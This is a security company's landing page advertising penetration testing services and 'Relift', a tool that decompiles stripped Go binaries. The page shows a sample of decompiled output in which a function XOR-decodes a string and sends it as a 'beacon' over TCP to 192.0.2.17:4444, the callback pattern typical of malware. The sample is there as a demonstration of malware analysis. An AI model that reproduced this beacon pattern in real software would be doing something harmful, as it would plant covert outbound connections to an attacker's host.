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Layered attack-surface diagram with exposed red nodes

Find exposed systems, prove attack paths, and close the process gaps behind them.

Riven Labs combines hands-on security work with software that keeps watching after the engagement ends, across internet-facing infrastructure, on-chain protocols, and stripped Go binaries.

Brought by the team that helped secure

  • GitHub
  • Dell Technologies
  • Shopify
  • Airbnb
  • AT&T
  • Sony
  • Slack
  • Pinterest
  • Nextcloud
  • IBM

Real offensive work, and the tools it demands.

Riven runs hands-on offensive engagements, and builds its own tooling where existing tools stop short.

Expert validation first

Hands-on testing separates real exposure from scanner noise, and proves the path an attacker can actually use.

Malware, made readable

Relift rebuilds stripped Go binaries into readable source, annotated assembly, and a map of every function.

Root cause by default

Every finding is traced to the process, ownership, deployment, review, permission, or monitoring gap behind it.

Relift

Stripped Go binaries, recovered into something you can read.

Relift opens stripped or obfuscated Go binaries into a behavioral report, then recovers readable Go source beside annotated disassembly.

Explore Relift
Relift
Functions7217
filter
github.com/joho/godotenv0/11
readFile1
github.com/rogpeppe/go-internal/...1
init
main1/9
DownloadFile2
runtime.AddCleanup[go.shape.s...0/2
Uint32; os1
runtime.AddCleanup[go.shape.s...0/2
zoneV6 string },go1
slices.DeleteFunc[go.shape.[]]*...0/1
func main()4e1a00–4e1bff512 Bmain.go:272 unk
annotationsinterleaveGraphRun0x4e1a00
DECODES"hello"Re-run this decoder
func main() {
arr0 := _unk4
// inlined: main.decode
004e1a27 copy(arr0[:], "\x00\x00\x00\x00")
004e1a2f copy(arr0[4:], "\x00")
004e1a1a for i, v := range []_unkT{50, 63, 54, 54, 53} {
004e1a40 arr0[i] = v ^ 90
}
004e1a59 v0 := string(arr0[:5])
// inlined: main.beacon.addr
004e1a82 v1 := "192.0.2.17" + ":4444"
004e1aa0 v2, err := net.DialTimeout("tcp", v1, 2 * time.Second)
004e1aa8 if err == nil {
004e1b7a fmt.Fprintf(v2, "%s\n", v0)
004e1b8d v2.Close() // net.Conn.itab[0]
}
004e1b11 fmt.Println(v0) // → fmt.Fprintln @4e1b11
}

3 calls named · 2 loops · 2 unknown values

XREFS
Callers0

No callers

Callees4

net.DialTimeout

fmt.Fprintf

net.Conn.Close

fmt.Fprintln

3 runtime helpers hidden

ReadyFUNCTIONS7217ADDR0x4e1a00SELECTIONmain.main
ARCHamd64OSgo1.26.8Relift 0.1.0

Security services for teams shipping real systems.

Available now. Each engagement feeds the patterns that become continuous product coverage.

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Penetration Testing

Deep infrastructure testing built around real attack paths.

  • Internal and external networks
  • Red team operations
  • Root cause reports
  • Compliance summaries
  • 45-day free retests
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Application Security

Focused testing across web, mobile, and API trust boundaries.

  • Web, mobile, and API testing
  • Authentication and session management
  • Access control, including BOLA & IDOR
  • Business logic and exploit validation
  • Optional source code review
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Continuous Security

Recurring sprint testing for systems that keep changing.

  • Monthly release testing
  • Real-time finding delivery
  • Sprint surface coverage
  • Quarterly compliance reports
  • Predictable annual pricing
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Turn the next finding into lasting coverage.

Start with a focused assessment. Leave with validated attack paths and a clearer system for preventing their return.